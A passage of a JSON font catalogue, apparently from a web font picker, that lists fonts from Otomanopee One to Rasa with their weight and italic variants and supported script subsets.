300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Otomanopee One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"japanese","name":"Japanese"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Outfit":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"latin","name":"Latin"}]},"Over the Rainbow":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Overlock":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"900","name":"Ultra-Bold 900"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Overlock SC":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Overpass":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"},{"id":"100italic","name":"Ultra-Light 100 Italic"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Overpass Mono":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Ovo":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Oxanium":{"variants":[{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Oxygen":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Oxygen Mono":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"PT Mono":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"PT Sans":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"PT Sans Caption":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"PT Sans Narrow":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"PT Serif":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"PT Serif Caption":{"variants":[{"id":"400","name":"Normal 400"},{"id":"400italic","name":"Normal 400 Italic"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Pacifico":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Padauk":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"myanmar","name":"Myanmar"}]},"Palanquin":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"devanagari","name":"Devanagari"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Palanquin Dark":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"devanagari","name":"Devanagari"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Palette Mosaic":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"japanese","name":"Japanese"},{"id":"latin","name":"Latin"}]},"Pangolin":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Paprika":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Parisienne":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Passero One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Passion One":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Passions Conflict":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Pathway Gothic One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Patrick Hand":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Patrick Hand SC":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Pattaya":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"thai","name":"Thai"},{"id":"vietnamese","name":"Vietnamese"}]},"Patua One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Pavanam":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"tamil","name":"Tamil"}]},"Paytone One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Peddana":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"telugu","name":"Telugu"}]},"Peralta":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Permanent Marker":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Petemoss":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Petit Formal Script":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Petrona":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"},{"id":"100italic","name":"Ultra-Light 100 Italic"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Philosopher":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"latin","name":"Latin"},{"id":"vietnamese","name":"Vietnamese"}]},"Piazzolla":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"},{"id":"100italic","name":"Ultra-Light 100 Italic"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"greek","name":"Greek"},{"id":"greek-ext","name":"Greek Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Piedra":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Pinyon Script":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Pirata One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Plaster":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Play":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"greek","name":"Greek"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Playball":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Playfair Display":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Playfair Display SC":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"900","name":"Ultra-Bold 900"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Plus Jakarta Sans":{"variants":[{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"}],"subsets":[{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Podkova":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Poiret One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Poller One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Poly":{"variants":[{"id":"400","name":"Normal 400"},{"id":"400italic","name":"Normal 400 Italic"}],"subsets":[{"id":"latin","name":"Latin"}]},"Pompiere":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Pontano Sans":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Poor Story":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"korean","name":"Korean"},{"id":"latin","name":"Latin"}]},"Poppins":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"},{"id":"100italic","name":"Ultra-Light 100 Italic"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"devanagari","name":"Devanagari"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Port Lligat Sans":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Port Lligat Slab":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Potta One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"japanese","name":"Japanese"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Pragati Narrow":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"devanagari","name":"Devanagari"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Praise":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Prata":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"latin","name":"Latin"},{"id":"vietnamese","name":"Vietnamese"}]},"Preahvihear":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"khmer","name":"Khmer"},{"id":"latin","name":"Latin"}]},"Press Start 2P":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"greek","name":"Greek"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Pridi":{"variants":[{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"thai","name":"Thai"},{"id":"vietnamese","name":"Vietnamese"}]},"Princess Sofia":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Prociono":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Prompt":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"},{"id":"100italic","name":"Ultra-Light 100 Italic"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"thai","name":"Thai"},{"id":"vietnamese","name":"Vietnamese"}]},"Prosto One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Proza Libre":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Public Sans":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"},{"id":"100italic","name":"Ultra-Light 100 Italic"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Puppies Play":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Puritan":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"latin","name":"Latin"}]},"Purple Purse":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Qahiri":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"arabic","name":"Arabic"},{"id":"latin","name":"Latin"}]},"Quando":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Quantico":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"latin","name":"Latin"}]},"Quattrocento":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Quattrocento Sans":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Questrial":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Quicksand":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Quintessential":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Qwigley":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Qwitcher Grypen":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Racing Sans One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Radio Canada":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Radley":{"variants":[{"id":"400","name":"Normal 400"},{"id":"400italic","name":"Normal 400 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Rajdhani":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"devanagari","name":"Devanagari"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Rakkas":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"arabic","name":"Arabic"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Raleway":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"},{"id":"100italic","name":"Ultra-Light 100 Italic"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Raleway Dots":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Ramabhadra":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"telugu","name":"Telugu"}]},"Ramaraja":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"telugu","name":"Telugu"}]},"Rambla":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Rammetto One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Rampart One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"japanese","name":"Japanese"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Ranchers":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Rancho":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Ranga":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"devanagari","name":"Devanagari"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Rasa":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 